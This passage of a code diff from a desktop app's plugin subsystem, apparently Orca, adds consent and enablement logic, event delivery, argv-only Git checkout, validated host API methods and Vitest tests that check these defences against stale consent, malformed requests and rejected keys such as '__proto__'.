pluginKey,
rootDir: tmpdir(),
manifest,
consentFingerprint: getFingerprint(),
consentContentHash: null,
contentHash: null,
isDev: true,
...overrides
}
: null,
reconcileActivationState: vi.fn().mockResolvedValue(undefined)
} as unknown as PluginService
}
describe('applyPluginConsent', () => {
it('stores approval only for the fingerprint the user reviewed', async () => {
const harness = createStore()
const pluginService = createPluginService(() => 'sha256-reviewed')
await applyPluginConsent({
store: harness.store,
pluginService,
pluginKey,
reviewedFingerprint: 'sha256-reviewed',
decision: 'approve'
})
expect(harness.getSettings().pluginConsents[pluginKey]).toBe('sha256-reviewed')
expect(harness.getSettings().disabledPlugins).not.toContain(pluginKey)
})
it('rejects a stale review after a same-key plugin update without writing settings', async () => {
const harness = createStore()
let currentFingerprint = 'sha256-reviewed-v1'
const pluginService = createPluginService(() => currentFingerprint)
currentFingerprint = 'sha256-current-v2'
await expect(
applyPluginConsent({
store: harness.store,
pluginService,
pluginKey,
reviewedFingerprint: 'sha256-reviewed-v1',
decision: 'approve'
})
).rejects.toThrow('changed since its permissions were reviewed')
expect(harness.updateSettings).not.toHaveBeenCalled()
expect(harness.getSettings().pluginConsents[pluginKey]).toBeUndefined()
})
it('allows a stale dialog to keep the newer plugin disabled', async () => {
const harness = createStore()
const pluginService = createPluginService(() => 'sha256-current-v2')
await applyPluginConsent({
store: harness.store,
pluginService,
pluginKey,
reviewedFingerprint: 'sha256-reviewed-v1',
decision: 'keep-disabled'
})
expect(harness.getSettings().disabledPlugins).toContain(pluginKey)
expect(pluginService.reconcileActivationState).toHaveBeenCalledOnce()
})
})
describe('applyPluginEnablement', () => {
it('does not persist unknown plugin identities', async () => {
const harness = createStore()
const pluginService = createPluginService(() => 'sha256-current')
await expect(
applyPluginEnablement({
store: harness.store,
pluginService,
pluginKey: 'orca-samples.unknown',
enabled: false
})
).rejects.toThrow('unknown plugin')
expect(harness.updateSettings).not.toHaveBeenCalled()
})
})

View File

@ -0,0 +1,87 @@
import {
normalizePluginConsents,
normalizePluginIdList
} from '../../shared/plugins/plugin-consent-state'
import type { Store } from '../persistence'
import type { PluginService } from './plugin-service'
import type { PluginConsentRequest } from '../../shared/plugins/plugin-consent-request'
import { verifyInstructionalPluginContent } from './plugin-instructional-content-integrity'
/**
* Single write path for consent + enablement. Consent is recorded as
* (qualified key consent fingerprint) never a bare id so a capability
* expansion or addition of trusted Node code requires re-consent. The desktop
* IPC handlers and the headless RPC methods both route through here.
*/
export type PluginConsentDecision = PluginConsentRequest['decision']
/** Records the user's consent-dialog answer. Approving stores the CURRENT
* consent fingerprint and clears any disable; declining disables so the plugin
* never re-prompts on later launches. */
export async function applyPluginConsent(input: {
store: Store
pluginService: PluginService
pluginKey: PluginConsentRequest['pluginKey']
reviewedFingerprint: PluginConsentRequest['reviewedFingerprint']
decision: PluginConsentRequest['decision']
originWebContentsId?: number
}): Promise<void> {
const { store, pluginService, pluginKey } = input
const plugin = pluginService.findValidPlugin(pluginKey)
if (!plugin) {
throw new Error(`cannot record consent for unknown plugin ${pluginKey}`)
}
// Why: a same-key install can change while the dialog is open; never apply a
// decision to capabilities or a worker trust tier the user did not review.
if (input.decision === 'approve' && plugin.consentFingerprint !== input.reviewedFingerprint) {
throw new Error(`plugin ${pluginKey} changed since its permissions were reviewed`)
}
if (input.decision === 'approve') {
// Why: IPC and serve callers can bypass the renderer dialog, so main must
// prove every instructional byte is still reviewable before enabling it.
await verifyInstructionalPluginContent(plugin)
}
const settings = store.getSettings()
const disabled = new Set(normalizePluginIdList(settings.disabledPlugins))
const consents = normalizePluginConsents(settings.pluginConsents)
if (input.decision === 'approve') {
consents[pluginKey] = plugin.consentFingerprint
disabled.delete(pluginKey)
} else {
disabled.add(pluginKey)
}
store.updateSettings(
{ disabledPlugins: [...disabled], pluginConsents: consents },
{ notifyListeners: true, originWebContentsId: input.originWebContentsId }
)
await pluginService.reconcileActivationState()
}
/** Enables/disables an already-consented plugin. Enabling never bypasses
* consent: with missing or stale consent the plugin stays pending and the
* caller must run the consent flow instead. */
export async function applyPluginEnablement(input: {
store: Store
pluginService: PluginService
pluginKey: string
enabled: boolean
originWebContentsId?: number
}): Promise<void> {
const { store, pluginService, pluginKey, enabled } = input
if (!pluginService.findValidPlugin(pluginKey)) {
throw new Error(`cannot change enablement for unknown plugin ${pluginKey}`)
}
const settings = store.getSettings()
const disabled = new Set(normalizePluginIdList(settings.disabledPlugins))
if (enabled) {
disabled.delete(pluginKey)
} else {
disabled.add(pluginKey)
}
store.updateSettings(
{ disabledPlugins: [...disabled] },
{ notifyListeners: true, originWebContentsId: input.originWebContentsId }
)
await pluginService.reconcileActivationState()
}

View File

@ -0,0 +1,42 @@
import { PLUGIN_EVENT_PAYLOAD_SCHEMAS } from '../../shared/plugins/plugin-events'
import type { PluginEventName } from '../../shared/plugins/plugin-manifest'
/**
* Server-side event filtering: plugins receive only events they subscribed
* to (manifest `contributes.events` or a runtime `events.subscribe` call)
* never a firehose. Manifest subscriptions are durable activation triggers;
* dynamic subscriptions live only as long as the worker that made them.
*/
export class PluginEventBus {
private readonly dynamicSubscriptions = new Map<string, Set<PluginEventName>>()
subscribe(pluginKey: string, events: PluginEventName[]): PluginEventName[] {
const existing = this.dynamicSubscriptions.get(pluginKey) ?? new Set<PluginEventName>()
for (const event of events) {
existing.add(event)
}
this.dynamicSubscriptions.set(pluginKey, existing)
return [...existing]
}
isDynamicallySubscribed(pluginKey: string, event: PluginEventName): boolean {
return this.dynamicSubscriptions.get(pluginKey)?.has(event) ?? false
}
/** Dynamic subscriptions die with the worker that registered them. */
clear(pluginKey: string): void {
this.dynamicSubscriptions.delete(pluginKey)
}
/** Validates and bounds an event payload before it reaches any plugin. */
projectPayload(
event: PluginEventName,
payload: unknown
): { ok: true; payload: unknown } | { ok: false; error: string } {
const parsed = PLUGIN_EVENT_PAYLOAD_SCHEMAS[event].safeParse(payload)
return parsed.success
? { ok: true, payload: parsed.data }
: { ok: false, error: `malformed ${event} payload` }
}
}

View File

@ -0,0 +1,48 @@
import type { PluginEventName } from '../../shared/plugins/plugin-manifest'
import {
isInvalidDiscoveredPlugin,
type DiscoveredPlugin,
type ValidDiscoveredPlugin
} from './plugin-discovery'
import type { PluginEventBus } from './plugin-event-bus'
import type { PluginWorkerController } from './plugin-worker-controller'
export function deliverPluginEvent(options: {
event: PluginEventName
payload: unknown
plugins: readonly DiscoveredPlugin[]
eventBus: PluginEventBus
workerController: PluginWorkerController
isRuntimeApproved: (plugin: ValidDiscoveredPlugin) => boolean
logWarning: (pluginKey: string, line: string) => void
}): void {
const projected = options.eventBus.projectPayload(options.event, options.payload)
if (!projected.ok) {
return
}
for (const plugin of options.plugins) {
if (isInvalidDiscoveredPlugin(plugin) || !options.isRuntimeApproved(plugin)) {
continue
}
const manifestSubscribed = plugin.manifest.contributes.events.some(
(subscription) => subscription.on === options.event
)
if (manifestSubscribed && plugin.manifest.main) {
void options.workerController
.ensure(plugin)
.then((handle) => handle.deliverEvent(options.event, projected.payload))
.catch((error) => {
options.logWarning(
plugin.pluginKey,
`event ${options.event} dropped: ${error instanceof Error ? error.message : String(error)}`
)
})
} else if (options.eventBus.isDynamicallySubscribed(plugin.pluginKey, options.event)) {
options.workerController.deliverEventIfRunning(
plugin.pluginKey,
options.event,
projected.payload
)
}
}
}

View File

@ -0,0 +1,57 @@
import { execFile } from 'node:child_process'
import { promisify } from 'node:util'
import {
isAllowedPluginGitUrl,
PLUGIN_COMMIT_PATTERN
} from '../../shared/plugins/plugin-install-lockfile'
const execFileAsync = promisify(execFile)
const PLUGIN_GIT_TIMEOUT_MS = 120_000
/** Runs system Git with argv-only invocation so credential helpers and SSH
* remotes work without exposing an executable remote-helper surface. */
export async function runPluginGit(args: string[], cwd: string): Promise<string> {
const { stdout } = await execFileAsync('git', args, {
cwd,
timeout: PLUGIN_GIT_TIMEOUT_MS,
windowsHide: true,
env: {
...process.env,
// Existing non-interactive helpers and SSH agents still work, but a
// background marketplace refresh can never hang on a terminal prompt.
GIT_TERMINAL_PROMPT: '0'
}
})
return stdout.trim()
}
/** Checks out one Git ref into an empty destination and returns exact HEAD. */
export async function checkoutPluginGitSource(input: {
url: string
ref: string
destination: string
workingDirectory: string
}): Promise<string> {
if (!isAllowedPluginGitUrl(input.url)) {
throw new Error('plugin Git URL must use HTTPS or SSH')
}
const ref = input.ref.trim()
if (PLUGIN_COMMIT_PATTERN.test(ref)) {
await runPluginGit(['init', '--quiet', input.destination], input.workingDirectory)
await runPluginGit(['remote', 'add', 'origin', input.url], input.destination)
await runPluginGit(['fetch', '--quiet', '--depth', '1', 'origin', ref], input.destination)
await runPluginGit(['checkout', '--quiet', 'FETCH_HEAD'], input.destination)
} else {
const args = ['clone', '--quiet', '--depth', '1']
if (ref.length > 0) {
args.push('--branch', ref)
}
args.push('--', input.url, input.destination)
await runPluginGit(args, input.workingDirectory)
}
const resolvedCommit = await runPluginGit(['rev-parse', 'HEAD'], input.destination)
if (!PLUGIN_COMMIT_PATTERN.test(resolvedCommit)) {
throw new Error('Git resolved an invalid commit identity')
}
return resolvedCommit
}

View File

@ -0,0 +1,57 @@
import { z } from 'zod'
import { isQualifiedPluginKey } from '../../shared/plugins/plugin-manifest'
import type { PluginPanelActionOutcome } from '../../shared/plugins/plugin-panel-bridge'
import { executePluginHostCall, type ExecutePluginHostCallInput } from './plugin-host-methods'
const pluginHostCallRequestSchema = z
.object({
method: z.string().min(1).max(128),
params: z.unknown().optional()
})
.strict()
export type PluginHostCallRequest = z.infer<typeof pluginHostCallRequestSchema>
export function isPluginHostCallRequest(request: unknown): request is PluginHostCallRequest {
return pluginHostCallRequestSchema.safeParse(request).success
}
export type PluginHostCallPolicy = Pick<
ExecutePluginHostCallInput,
'grantedCapabilities' | 'services' | 'audit'
>
export type ResolvePluginHostCallPolicy = (
pluginKey: string
) => PluginHostCallPolicy | Promise<PluginHostCallPolicy>
/** Validates the transport envelope, resolves all authority host-side, then
* enters the one capability/schema/audit execution chokepoint. */
export async function executePluginHostCallRequest(input: {
/** Qualified identity already authenticated by the owning transport. */
pluginKey: string
request: unknown
viaPanel: boolean
resolvePolicy: ResolvePluginHostCallPolicy
}): Promise<PluginPanelActionOutcome> {
if (!isQualifiedPluginKey(input.pluginKey)) {
return { ok: false, code: 'invalid_request', error: 'invalid qualified plugin key' }
}
const parsed = pluginHostCallRequestSchema.safeParse(input.request)
if (!parsed.success) {
return { ok: false, code: 'invalid_request', error: 'malformed plugin host call request' }
}
let policy: PluginHostCallPolicy
try {
policy = await input.resolvePolicy(input.pluginKey)
} catch {
return { ok: false, code: 'unavailable', error: 'plugin host policy is not available' }
}
return executePluginHostCall({
pluginId: input.pluginKey,
method: parsed.data.method,
params: parsed.data.params,
viaPanel: input.viaPanel,
...policy
})
}

View File

@ -0,0 +1,366 @@
import { describe, expect, it, vi } from 'vitest'
import { PLUGIN_HOST_API_V0 } from '../../shared/plugins/plugin-host-api'
import type { PluginCapabilityKind } from '../../shared/plugins/plugin-capabilities'
import {
admitPluginPanelCall,
createPluginPanelCallAdmission
} from '../../shared/plugins/plugin-panel-call-admission'
import type { PluginPanelActionOutcome } from '../../shared/plugins/plugin-panel-bridge'
import type { MethodHandler } from '../../relay/dispatcher'
import {
RELAY_PLUGIN_PANEL_HOST_CALL_METHOD,
RELAY_PLUGIN_WORKER_HOST_CALL_METHOD,
registerRelayPluginHostCallHandlers
} from '../../relay/plugin-host-call-handler'
import {
executePluginHostCallRequest,
type PluginHostCallPolicy,
type ResolvePluginHostCallPolicy
} from './plugin-host-call-adapter'
import type { PluginHostServices } from './plugin-host-methods'
const PLUGIN_KEY = 'orca-samples.demo'
const WORKTREE_ID = 'repo-id::/Users/private/orca'
const TERMINAL_ID = 'terminal:local:one'
type HostCallAdapter = (request: unknown, viaPanel: boolean) => Promise<PluginPanelActionOutcome>
function createServices(): PluginHostServices {
return {
resolveActiveWorktreeContext: vi.fn().mockResolvedValue({
worktreeId: WORKTREE_ID,
branch: 'main',
displayName: 'Orca',
path: '/Users/private/orca'
}),
listWorktreeTerminals: vi
.fn()
.mockResolvedValue([{ id: TERMINAL_ID, title: '/home/private/orca' }]),
sendTerminalText: vi.fn().mockResolvedValue({ accepted: true }),
dispatchPluginNotification: vi.fn().mockResolvedValue({ delivered: true }),
storage: {
get: vi.fn().mockReturnValue('stored'),
set: vi.fn().mockReturnValue({ ok: true }),
delete: vi.fn(),
keys: vi.fn().mockReturnValue(['alpha'])
},
secrets: {
get: vi.fn().mockReturnValue({ ok: true, value: 'secret' }),
set: vi.fn().mockReturnValue({ ok: true }),
delete: vi.fn()
},
settings: {
getAll: vi.fn().mockReturnValue({ theme: 'dark' }),
set: vi.fn().mockReturnValue({ ok: true })
},
subscribeEvents: vi.fn().mockImplementation((_pluginKey, events) => events)
}
}
function createPolicy(
grantedCapabilities: readonly PluginCapabilityKind[] | null,
services: PluginHostServices = createServices(),
audit = { record: vi.fn().mockResolvedValue(undefined) }
): PluginHostCallPolicy {
return { grantedCapabilities, services, audit }
}
function createAdapters(
resolvePolicy: ResolvePluginHostCallPolicy,
limits?: { maxBytes?: number; maxMessages?: number; perMs?: number }
): Record<string, HostCallAdapter> {
const relayHandlers = new Map<string, MethodHandler>()
registerRelayPluginHostCallHandlers(
{ onRequest: (method, handler) => relayHandlers.set(method, handler) },
(context) => (context.clientId === 1 ? PLUGIN_KEY : null),
resolvePolicy,
{ panelAdmission: createPluginPanelCallAdmission({ limits, now: () => 0 }) }
)
const desktopAdmission = createPluginPanelCallAdmission({ limits, now: () => 0 })
return {
'desktop-main': async (request, viaPanel) => {
if (viaPanel) {
const admissionRefusal = admitPluginPanelCall(desktopAdmission, PLUGIN_KEY, request)
if (admissionRefusal) {
return admissionRefusal
}
}
return executePluginHostCallRequest({
pluginKey: PLUGIN_KEY,
request,
viaPanel,
resolvePolicy
})
},
relay: async (request, viaPanel) => {
const registeredMethod = viaPanel
? RELAY_PLUGIN_PANEL_HOST_CALL_METHOD
: RELAY_PLUGIN_WORKER_HOST_CALL_METHOD
return (await relayHandlers.get(registeredMethod)!(request as Record<string, unknown>, {
clientId: 1,
isStale: () => false
})) as PluginPanelActionOutcome
}
}
}
const successParams: Record<string, unknown> = {
'workspace.readContext': {},
'terminal.sendText': { terminalId: TERMINAL_ID, text: 'echo hi', enter: true },
'notifications.show': { title: 'Hello' },
'storage.get': { key: 'alpha' },
'storage.set': { key: 'alpha', value: 1 },
'storage.delete': { key: 'alpha' },
'storage.keys': {},
'secrets.get': { key: 'token' },
'secrets.set': { key: 'token', value: 'secret' },
'secrets.delete': { key: 'token' },
'settings.get': {},
'settings.set': { key: 'theme', value: 'dark' },
'events.subscribe': { events: ['worktree.created'] }
}
describe('plugin host main/relay conformance', () => {
it('runs a granted success through both transports for all 13 v0 methods', async () => {
expect(PLUGIN_HOST_API_V0).toHaveLength(13)
expect(Object.keys(successParams).sort()).toEqual(
PLUGIN_HOST_API_V0.map((entry) => entry.name).sort()
)
expect(PLUGIN_HOST_API_V0.every((entry) => entry.stability === 'experimental')).toBe(true)
expect(PLUGIN_HOST_API_V0.every((entry) => entry.scope.length > 0)).toBe(true)
for (const spec of PLUGIN_HOST_API_V0) {
const policy = createPolicy([spec.capability])
const resolvePolicy = vi.fn().mockResolvedValue(policy)
const outcomes = await Promise.all(
Object.values(createAdapters(resolvePolicy)).map((adapter) =>
adapter({ method: spec.name, params: successParams[spec.name] }, spec.panel)
)
)
expect(outcomes, spec.name).toHaveLength(2)
expect(outcomes[0], spec.name).toEqual(outcomes[1])
expect(outcomes[0], spec.name).toMatchObject({ ok: true })
}
})
it('projects workspace context without host paths on main and relay', async () => {
const resolvePolicy = vi.fn().mockResolvedValue(createPolicy(['workspace:read']))
for (const adapter of Object.values(createAdapters(resolvePolicy))) {
const outcome = await adapter({ method: 'workspace.readContext', params: {} }, true)
expect(outcome).toEqual({
ok: true,
value: {
branch: 'main',
displayName: 'Orca',
terminals: [{ id: TERMINAL_ID }]
}
})
expect(outcome).not.toHaveProperty('value.path')
expect(outcome).not.toHaveProperty('value.worktreeId')
}
})
const deniedCases: {
name: string
request: unknown
viaPanel: boolean
policy: () => PluginHostCallPolicy
code: string
}[] = [
{
name: 'missing or stale consent',
request: { method: 'workspace.readContext', params: {} },
viaPanel: true,
policy: () => createPolicy(null),
code: 'consent_required'
},
{
name: 'missing capability',
request: { method: 'workspace.readContext', params: {} },
viaPanel: true,
policy: () => createPolicy([]),
code: 'capability_denied'
},
{
name: 'unknown method',
request: { method: 'workspace.erase', params: {} },
viaPanel: false,
policy: () => createPolicy(['workspace:read']),
code: 'unknown_method'
},
{
name: 'malformed params',
request: {
method: 'terminal.sendText',
params: { terminalId: TERMINAL_ID, text: '' }
},
viaPanel: true,
policy: () => createPolicy(['terminal:send']),
code: 'invalid_params'
},
{
name: 'panel-forbidden method',
request: { method: 'storage.get', params: { key: 'alpha' } },
viaPanel: true,
policy: () => createPolicy(['storage']),
code: 'panel_forbidden'
},
{
name: 'malformed result',
request: {
method: 'notifications.show',
params: { title: 'Hello' }
},
viaPanel: true,
policy: () => {
const services = createServices()
services.dispatchPluginNotification = vi
.fn()
.mockResolvedValue({ delivered: 'yes' } as unknown as { delivered: boolean })
return createPolicy(['notifications:show'], services)
},
code: 'action_failed'
},
{
name: 'mutation audit failure',
request: {
method: 'storage.set',
params: { key: 'alpha', value: 1 }
},
viaPanel: false,
policy: () =>
createPolicy(['storage'], createServices(), {
record: vi.fn().mockRejectedValue(new Error('disk full'))
}),
code: 'action_failed'
}
]
it.each(deniedCases)('returns identical $code codes for $name', async (testCase) => {
const outcomes: PluginPanelActionOutcome[] = []
for (const adapterName of ['desktop-main', 'relay']) {
const resolvePolicy = vi.fn().mockImplementation(() => testCase.policy())
const adapter = createAdapters(resolvePolicy)[adapterName]!
outcomes.push(await adapter(testCase.request, testCase.viaPanel))
}
expect(outcomes[0]).toMatchObject({ ok: false, code: testCase.code })
expect(outcomes[1]).toMatchObject({ ok: false, code: testCase.code })
expect(outcomes[0]).toEqual(outcomes[1])
})
it('enforces the same per-plugin panel budget on desktop main and relay', async () => {
for (const adapterName of ['desktop-main', 'relay']) {
const resolvePolicy = vi.fn().mockResolvedValue(createPolicy(['notifications:show']))
const adapter = createAdapters(resolvePolicy, {
maxMessages: 1,
perMs: 10_000
})[adapterName]!
await expect(
adapter({ method: 'notifications.show', params: { title: 'first' } }, true)
).resolves.toMatchObject({ ok: true })
await expect(
adapter({ method: 'notifications.show', params: { title: 'second' } }, true)
).resolves.toEqual({
ok: false,
code: 'rate_limited',
error: 'too many panel requests'
})
}
})
it('charges malformed and oversized panel traffic before schema parsing', async () => {
for (const adapterName of ['desktop-main', 'relay']) {
const resolvePolicy = vi.fn().mockResolvedValue(createPolicy(['notifications:show']))
const adapter = createAdapters(resolvePolicy, {
maxBytes: 128,
maxMessages: 2,
perMs: 10_000
})[adapterName]!
await expect(
adapter({ method: 'notifications.show', unexpected: true }, true)
).resolves.toMatchObject({ ok: false, code: 'invalid_request' })
await expect(
adapter(
{
method: 'notifications.show',
params: { title: 'x'.repeat(256) }
},
true
)
).resolves.toEqual({
ok: false,
code: 'invalid_request',
error: 'panel message exceeds the size limit'
})
await expect(
adapter({ method: 'notifications.show', params: { title: 'third' } }, true)
).resolves.toEqual({
ok: false,
code: 'rate_limited',
error: 'too many panel requests'
})
expect(resolvePolicy).not.toHaveBeenCalled()
}
})
it('binds relay plugin identity to the requesting connection', async () => {
const relayHandlers = new Map<string, MethodHandler>()
const services = createServices()
const resolvePolicy = vi.fn().mockResolvedValue(createPolicy(['storage'], services))
const resolveIdentity = vi
.fn()
.mockImplementation(({ clientId }: { clientId: number }) =>
clientId === 7 ? PLUGIN_KEY : null
)
registerRelayPluginHostCallHandlers(
{ onRequest: (method, handler) => relayHandlers.set(method, handler) },
resolveIdentity,
resolvePolicy
)
const handler = relayHandlers.get(RELAY_PLUGIN_WORKER_HOST_CALL_METHOD)!
await expect(
handler(
{ method: 'storage.get', params: { key: 'alpha' } },
{ clientId: 7, isStale: () => false }
)
).resolves.toMatchObject({ ok: true })
expect(services.storage.get).toHaveBeenCalledWith(PLUGIN_KEY, 'alpha')
await expect(
handler(
{ method: 'storage.get', params: { key: 'alpha' } },
{ clientId: 8, isStale: () => false }
)
).resolves.toMatchObject({ ok: false, code: 'unavailable' })
expect(resolvePolicy).toHaveBeenCalledTimes(1)
})
it('rejects malformed envelopes and client-supplied authority before policy resolution', async () => {
const requests = [
{ pluginKey: '../evil', method: 'storage.get', params: { key: 'alpha' } },
{
pluginKey: PLUGIN_KEY,
method: 'storage.get',
params: { key: 'alpha' },
grantedCapabilities: ['storage']
},
{
pluginKey: PLUGIN_KEY,
method: 'storage.get',
params: { key: 'alpha' },
viaPanel: false
}
]
for (const request of requests) {
for (const adapterName of ['desktop-main', 'relay']) {
const resolvePolicy = vi.fn().mockResolvedValue(createPolicy(['storage']))
const outcome = await createAdapters(resolvePolicy)[adapterName]!(request, false)
expect(outcome).toMatchObject({ ok: false, code: 'invalid_request' })
expect(resolvePolicy).not.toHaveBeenCalled()
}
}
})
})

View File

@ -0,0 +1,41 @@
/**
* Child-process entry for the out-of-process plugin worker. Forked with
* ELECTRON_RUN_AS_NODE, so this file must stay plain Node no electron
* imports (directly or transitively). All logic lives in
* `plugin-host-runtime.ts`; this file only wires the fork IPC channel.
*/
import { createPluginWorkerRuntime } from './plugin-host-runtime'
import type { PluginWorkerChildMessage } from '../../shared/plugins/plugin-host-protocol'
function sendToParent(message: PluginWorkerChildMessage): void {
process.send?.(message)
}
const runtime = createPluginWorkerRuntime({ send: sendToParent })
process.on('message', (raw: unknown) => {
void runtime.handleMessage(raw)
})
// Why: third-party plugin code runs here; an escaped rejection must not leave
// a zombie worker. Report the crash so the parent can supervise/restart.
function dieFatally(error: unknown): void {
try {
sendToParent({
type: 'fatal',
error: error instanceof Error ? (error.stack ?? error.message) : String(error)
})
} catch {
// Channel already gone; nothing left to report to.
}
process.exit(1)
}
process.on('uncaughtException', dieFatally)
process.on('unhandledRejection', dieFatally)
// Why: if the parent dies without sending shutdown, the IPC channel closes;
// exit instead of lingering as an orphaned Node process.
process.on('disconnect', () => {
process.exit(0)
})

View File

@ -0,0 +1,181 @@
import {
getPluginHostMethodSpec,
PLUGIN_HOST_API_V0,
PLUGIN_TERMINAL_ID_MAX_LENGTH,
PLUGIN_WORKSPACE_LABEL_MAX_LENGTH,
PLUGIN_WORKSPACE_TERMINAL_LIMIT,
type PluginHostMethodSpec
} from '../../shared/plugins/plugin-host-api'
import type { PluginEventName } from '../../shared/plugins/plugin-manifest'
export type PluginWorktreeContext = {
worktreeId: string
branch: string
displayName: string
}
/** Structural service surface the facade delegates to. Desktop main binds it
* over runtime services; relay policy and conformance tests bind fakes. */
export type PluginHostServices = {
resolveActiveWorktreeContext(): Promise<PluginWorktreeContext | null>
listWorktreeTerminals(worktreeId: string): Promise<{ id: string }[]>
sendTerminalText(
terminalId: string,
action: { text: string; enter: boolean }
): Promise<{ accepted: boolean }>
dispatchPluginNotification(input: {
pluginId: string
title: string
body?: string
}): Promise<{ delivered: boolean }>
storage: {
get(pluginId: string, key: string): unknown
set(pluginId: string, key: string, value: unknown): { ok: true } | { ok: false; error: string }
delete(pluginId: string, key: string): void
keys(pluginId: string): string[]
}
secrets: {
get(
pluginId: string,
key: string
): { ok: true; value: string | null } | { ok: false; error: string }
set(pluginId: string, key: string, value: string): { ok: true } | { ok: false; error: string }
delete(pluginId: string, key: string): void
}
settings: {
getAll(pluginId: string): Record<string, unknown>
set(pluginId: string, key: string, value: unknown): { ok: true } | { ok: false; error: string }
}
subscribeEvents(pluginId: string, events: PluginEventName[]): PluginEventName[]
}
export type BoundPluginHostMethod = {
spec: PluginHostMethodSpec
handler: (
params: unknown,
ctx: { pluginId: string; services: PluginHostServices }
) => Promise<unknown>
}
function definePluginMethod(
name: string,
handler: BoundPluginHostMethod['handler']
): [string, BoundPluginHostMethod] {
const spec = getPluginHostMethodSpec(name)
if (!spec) {
throw new Error(`no host API spec for method ${name}`)
}
return [name, { spec, handler }]
}
const HANDLERS = new Map<string, BoundPluginHostMethod>([
definePluginMethod('workspace.readContext', async (_params, { services }) => {
const context = await services.resolveActiveWorktreeContext()
if (!context) {
return null
}
const terminals = await services.listWorktreeTerminals(context.worktreeId)
// Why: Orca worktree ids embed provider paths, so the public projection
// must select safe fields instead of spreading the internal context.
return {
branch: context.branch.slice(0, PLUGIN_WORKSPACE_LABEL_MAX_LENGTH),
displayName: context.displayName.slice(0, PLUGIN_WORKSPACE_LABEL_MAX_LENGTH),
terminals: terminals
.filter(
(terminal) =>
terminal.id.length > 0 && terminal.id.length <= PLUGIN_TERMINAL_ID_MAX_LENGTH
)
.slice(0, PLUGIN_WORKSPACE_TERMINAL_LIMIT)
.map((terminal) => ({ id: terminal.id }))
}
}),
definePluginMethod('terminal.sendText', async (params, { services }) => {
const { terminalId, text, enter } = params as {
terminalId: string
text: string
enter: boolean
}
const context = await services.resolveActiveWorktreeContext()
if (!context) {
throw new Error('no active worktree is available for terminal input')
}
// Why: terminal handles are provider-owned and can outlive focus changes;
// re-list the resolved worktree immediately before routing plugin input.
const terminals = await services.listWorktreeTerminals(context.worktreeId)
if (!terminals.some((terminal) => terminal.id === terminalId)) {
throw new Error('terminal is outside the active worktree')
}
const result = await services.sendTerminalText(terminalId, { text, enter })
return { accepted: result.accepted }
}),
definePluginMethod('notifications.show', async (params, { pluginId, services }) => {
const { title, body } = params as { title: string; body?: string }
return services.dispatchPluginNotification({ pluginId, title, body })
}),
definePluginMethod('storage.get', async (params, { pluginId, services }) => {
const { key } = params as { key: string }
return { value: services.storage.get(pluginId, key) ?? null }
}),
definePluginMethod('storage.set', async (params, { pluginId, services }) => {
const { key, value } = params as { key: string; value: unknown }
const result = services.storage.set(pluginId, key, value)
if (!result.ok) {
throw new Error(result.error)
}
return { ok: true }
}),
definePluginMethod('storage.delete', async (params, { pluginId, services }) => {
const { key } = params as { key: string }
services.storage.delete(pluginId, key)
return { ok: true }
}),
definePluginMethod('storage.keys', async (_params, { pluginId, services }) => {
return { keys: services.storage.keys(pluginId) }
}),
definePluginMethod('secrets.get', async (params, { pluginId, services }) => {
const { key } = params as { key: string }
const result = services.secrets.get(pluginId, key)
if (!result.ok) {
throw new Error(result.error)
}
return { value: result.value }
}),
definePluginMethod('secrets.set', async (params, { pluginId, services }) => {
const { key, value } = params as { key: string; value: string }
const result = services.secrets.set(pluginId, key, value)
if (!result.ok) {
throw new Error(result.error)
}
return { ok: true }
}),
definePluginMethod('secrets.delete', async (params, { pluginId, services }) => {
const { key } = params as { key: string }
services.secrets.delete(pluginId, key)
return { ok: true }
}),
definePluginMethod('settings.get', async (_params, { pluginId, services }) => {
return { settings: services.settings.getAll(pluginId) }
}),
definePluginMethod('settings.set', async (params, { pluginId, services }) => {
const { key, value } = params as { key: string; value: unknown }
const result = services.settings.set(pluginId, key, value)
if (!result.ok) {
throw new Error(result.error)
}
return { ok: true }
}),
definePluginMethod('events.subscribe', async (params, { pluginId, services }) => {
const { events } = params as { events: PluginEventName[] }
return { subscribed: services.subscribeEvents(pluginId, events) }
})
])
// Why: adding a facade schema without a binding must fail at module load,
// before a plugin can observe transport-specific behavior.
if (HANDLERS.size !== PLUGIN_HOST_API_V0.length) {
throw new Error('plugin host API spec table and handler bindings are out of sync')
}
export function getBoundPluginHostMethod(name: string): BoundPluginHostMethod | null {
return HANDLERS.get(name) ?? null
}

View File

@ -0,0 +1,232 @@
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { describe, expect, it, vi } from 'vitest'
import { PLUGIN_WORKSPACE_TERMINAL_LIMIT } from '../../shared/plugins/plugin-host-api'
import { bindPluginHostServices, type PluginRuntimeDelegate } from './plugin-host-service-bindings'
import { executePluginHostCall, type PluginHostServices } from './plugin-host-methods'
function createServices(storageSet: PluginHostServices['storage']['set']): PluginHostServices {
return {
resolveActiveWorktreeContext: vi.fn().mockResolvedValue(null),
listWorktreeTerminals: vi.fn().mockResolvedValue([]),
sendTerminalText: vi.fn().mockResolvedValue({ accepted: true }),
dispatchPluginNotification: vi.fn().mockResolvedValue({ delivered: true }),
storage: {
get: vi.fn(),
set: storageSet,
delete: vi.fn(),
keys: vi.fn().mockReturnValue([])
},
secrets: {
get: vi.fn().mockReturnValue({ ok: true, value: null }),
set: vi.fn().mockReturnValue({ ok: true }),
delete: vi.fn()
},
settings: {
getAll: vi.fn().mockReturnValue({}),
set: vi.fn().mockReturnValue({ ok: true })
},
subscribeEvents: vi.fn().mockReturnValue([])
}
}
describe('executePluginHostCall mutation auditing', () => {
it('rejects prototype-sensitive storage keys before any host service call', async () => {
const storageSet = vi.fn().mockReturnValue({ ok: true })
const outcome = await executePluginHostCall({
pluginId: 'orca-samples.demo',
method: 'storage.set',
params: { key: '__proto__', value: 42 },
viaPanel: false,
grantedCapabilities: ['storage'],
services: createServices(storageSet),
audit: { record: vi.fn().mockResolvedValue(undefined) }
})
expect(outcome).toMatchObject({ ok: false, code: 'invalid_params' })
expect(storageSet).not.toHaveBeenCalled()
})
it('rejects non-JSON storage values before any host service call', async () => {
const storageSet = vi.fn().mockReturnValue({ ok: true })
const outcome = await executePluginHostCall({
pluginId: 'orca-samples.demo',
method: 'storage.set',
params: { key: 'created', value: new Date() },
viaPanel: false,
grantedCapabilities: ['storage'],
services: createServices(storageSet),
audit: { record: vi.fn().mockResolvedValue(undefined) }
})
expect(outcome).toMatchObject({ ok: false, code: 'invalid_params' })
expect(storageSet).not.toHaveBeenCalled()
})
it('fails closed before a mutation when the audit intent cannot be recorded', async () => {
const storageSet = vi.fn().mockReturnValue({ ok: true })
